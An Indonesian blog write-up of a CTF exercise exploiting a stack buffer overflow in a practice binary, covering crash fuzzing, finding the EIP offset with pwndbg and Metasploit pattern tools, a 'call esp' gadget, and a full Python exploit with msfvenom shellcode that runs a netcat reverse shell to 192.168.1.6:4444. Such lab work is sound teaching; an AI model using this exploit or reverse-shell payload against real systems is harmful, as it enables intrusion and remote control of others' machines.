Skip to content Skip to sidebar Skip to footer

Buffer Overflow Exploit Linux Application di Kali Linux

Buffer overflow adalah metode yang digunakan untuk membuat suatu application crash atau memberikan inputan melebihi dari batas penyimpanan stack memory yang digunakan dalam memperoses suatu aplikasi. Kali ini saya akan membuat writeup pengerjaan soal linux application dari komunitas xcode. Jika kalian berminat join dapat klik link discord ini.



Pertama saya sudah mendownload applicationya, lalu saya akan memberikan permission execute agar applikasinya dapat saya jalankan seperti dibawah.

$ chmod +x vulnerableapp2


Setelah itu saya akan mencoba menjalankan seperti umumnya, menjalankan applikasi binary di linux.


Ternyata mengalami error dengan segmentation salah, selanjutnya saya akan mencoba memberi inputan dasar sebesar 4 byte yaitu "AAAA", seperti dibawah ini:

$ ./vulnerableapp2 AAAA


Hasil dari ini aplikasi dapat berjalan normal dan tidak mendapatkan alert error seperti diawal. Ok, sekarang kita akan memberi inputan yang melebihi batas penyimpanan memory yang digunakan applikasi tersebut.



Bisa dilihat bahwa inputan kita berhasil membuat aplikasi over atau crash, disini saya menggunakan inputan script python dengan memberikan 800 byte karakter huruf A, berikut source commandnya:


$ ./vulnerableapp2 `python -c 'print "A" * 800'` 


Saya sudah mendapatkan info bahwa 800 byte input dapat menyebabkan crash aplikasinya, sekarang mari kita test dengan menggunakan debugging, disini saya menggunakan pwndbg jika kalian belum punya atau kesulitan installasinya dapat cek postingan saya sebelumnya.


Kita sudah masuk didalam debuggernya dan kita akan fokus disini melihat perubahan pada register Extended Stack Pointer(ESP), Extended Base Pointer(EBP),Extended Instruction pointer(EIP).


Perlu diketahui setiap fungsi register yang kita gunakan ini mengacu pada berjalanya exploit kita nanti, seperti:


  • Extended Stack Pointer(ESP) kita akan melihat pointer atau penunjuk data stack yang tersimpan didalam memory yang digunakan untuk memperoses aplikasi.
  • Extended Base Pointer(EBP) ini kita akan melihat alamat memory yang menunjukan lokasi keberadaan parameter suatu fungsi dan juga variable pada suatu program yang berjalan.
  • Extended Instruction pointer(EIP) digunakan sebagai pointer yang akan menunjukan pada cpu lokasi memory yang menyimpan perintah selanjutnya yang akan di eksekusi oleh CPU.

Sekarang kita akan coba untuk melakukan test ulang dengan menjalankan script python pada debugger yang mana akan memberi input sebesar 800 byte.


Dapat kita lihat EIP sudah tertimpa dengan 4 byte karakter "AAAA", perlu diketahui EIP ini menyimpan lokasi perintah selanjutnya yang akan dijalankan oleh cpu, dikarenakan lokasi memory eip tertimpa oleh stack over kita aplikasi akan mengalami crash karena lokasi memory 0x41414141 itu tidak ada. Sedangkan ESP sendiri menunjukan data stack yang kita input sebesar 800 byte dan EBP kita dapat melihat memiliki hex sama dengan EIP, dikarenakan EBP ini memiliki fungsi menyimpan resgister memory ke stack frame yang mana EBP digunakan untuk mejalankan proses pertama kali sebelum di copy ke proses ESP.

Kita akan lanjutkan dengan mencari nilai offset keberapa terjadiinya overflow pada aplikasi ini atau mencari nilai input spesifik yang menyebabkan crash aplikasi taret, disini kita dapat menggunakan fungsi perintah berikut di dalam debgguber.

pwndbg> run `msf-pattern_create -l 800`

Starting program: /home/dig/CTF/soal2Excode/vulnerableapp2 `msf-pattern_create -l 800`

dari hasil berikut akan menghasilkan karakter yang yang berurutan yang berjumalah 800 byte.



Kita akan melanjutkan untuk mencari offset atau nilai tengah yang menimpa EIP-nya, disini saya menggunakan perintah:

pwndbg> info registers eip

eip            0x35784134          0x35784134

pwndbg> exit

Undefined command: "exit".  Try "help".

pwndbg> 

zsh: suspended  pwngdb ./vulnerableapp2

                                                                                                                                     

┌──(root💀dig)-[/home/dig/CTF/soal2Excode]

└─# msf-pattern_offset -q 0x35784134                                                                                       148 ⨯ 1 ⚙

[*] Exact match at offset 704


Kita dapat melihat bahwa kita memerlukan 704 byte untuk melakukan fuzzing agar aplikasi crash. Sekarang kita akan buat exploitnya dengan script dibawah:

#!/usr/bin/python


import struct


fuzz = "A" * 704

eip = struct.pack("<I", ini diisi dengan registry call esp pada aplikasi)

nop = "\x90" * 8


Pertama kita buat script sederhana tersebut terdiri:

  • import struct dan pada variable eip terisi struct.pack yang mana fungsi ini digunakan untuk membaca format teks kita agar sesuai dengan format arsitektur pada alamat memory menggunakan little endian.
  • lalu pada nop ini adalah variable no opration, yang mana akan kita setting dengan 8 byte "\x90" akan terisi.

Untuk mengisi call esp pada struct.pack kita akan mencarinya pada debugger dengan perintah:

pwndbg> ropgadget --grep "call esp"

Saved corefile /tmp/tmp7twt6z73

0xffffc4eb : call esp

Sekarang kita tambahkan kedalam script sebelumnya:

#!/usr/bin/python

import struct

fuzz = "A" * 704

eip = struct.pack("<I", 0xffffc4eb)


nop = "\x90" * 8

Lalu kita lanjutkan membuat payload dengan menggunakan msfvenom:

$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="nc 192.168.1.6 4444 -e /bin/sh" LHOST=192.168.1.6 LPORT=4444 -b "\x20\x0a\x0d\x00\x3f" -f python -v shellcode 

Pastikan source code akan seperti ini:

#!/usr/bin/python

import struct

fuzz = "A" * 704

eip = struct.pack("<I", 0xffffc4eb)

nop = "\x90" * 8

shellcode =  b""

shellcode += b"\xb8\xa7\x29\xb5\x66\xdb\xcb\xd9\x74\x24\xf4"

shellcode += b"\x5a\x31\xc9\xb1\x11\x31\x42\x14\x83\xc2\x04"

shellcode += b"\x03\x42\x10\x45\xdc\xdf\x6d\xd1\x86\x72\x14"

shellcode += b"\x89\x95\x11\x51\xae\x8e\xfa\x12\x58\x4f\x6d"

shellcode += b"\xfa\xfa\x26\x03\x8d\x19\xea\x33\x92\xdd\x0b"

shellcode += b"\xc4\xc3\xbe\x2b\xf5\x22\x72\x02\xc4\x62\x4a"

shellcode += b"\x74\x17\xa5\x9c\xa8\x63\x8d\xd4\x9c\xab\xc0"

shellcode += b"\x71\xfd\x84\x78\x10\x93\xf5\x0f\x8a\x6b\x5d"

shellcode += b"\xa3\xc3\x8d\xac\xc3"


print fuzz + eip + nop + shellcode

Untuk tambahan pada command msfvenom tersebut yang saya tandai merah adalah bad karakter yang harus di hindari dalam membuat payload, karena beberapa karakter tidak dapat dijalankan oleh CPU. Bagaimana untuk mencari bad karakter ini, kita hanya cukup menjalankan script kita pada aplikasi dan melakukan debug, dengan perintah:

pwndbg> ropgadget --grep "call esp"

Saved corefile /tmp/tmp7twt6z73

0xffffc4eb : call esp

pwndbg> break *0xffffc4eb

Breakpoint 1 at 0xffffc4eb

pwndbg> run `python exploit.py`


Setelah ini kita lanjutkan dengan perintah:

pwndbg> x/100x $esp

pwndbg> x/100bx $esp

Maka akan tampil seperti ini, lalu kita akan cocokan shellcode dengan hex shellcode yang ada di stack memory.


pastikan shellcode berada dibawah nop atau setelah nop, untuk memastikan payload berjalan setelah EIP memberikan alamat memory yang akan di eksekusi selanjutnya oleh CPU. Jika sudah kita lanjutkan menjalankan exploitnya, jika berhasil maka akan tampak seperti dibawah ini:



Author
Author “Yes I'm seeking for someone, to help me. So that some day I will be the someone to help some other one.”

1 comment for "Buffer Overflow Exploit Linux Application di Kali Linux"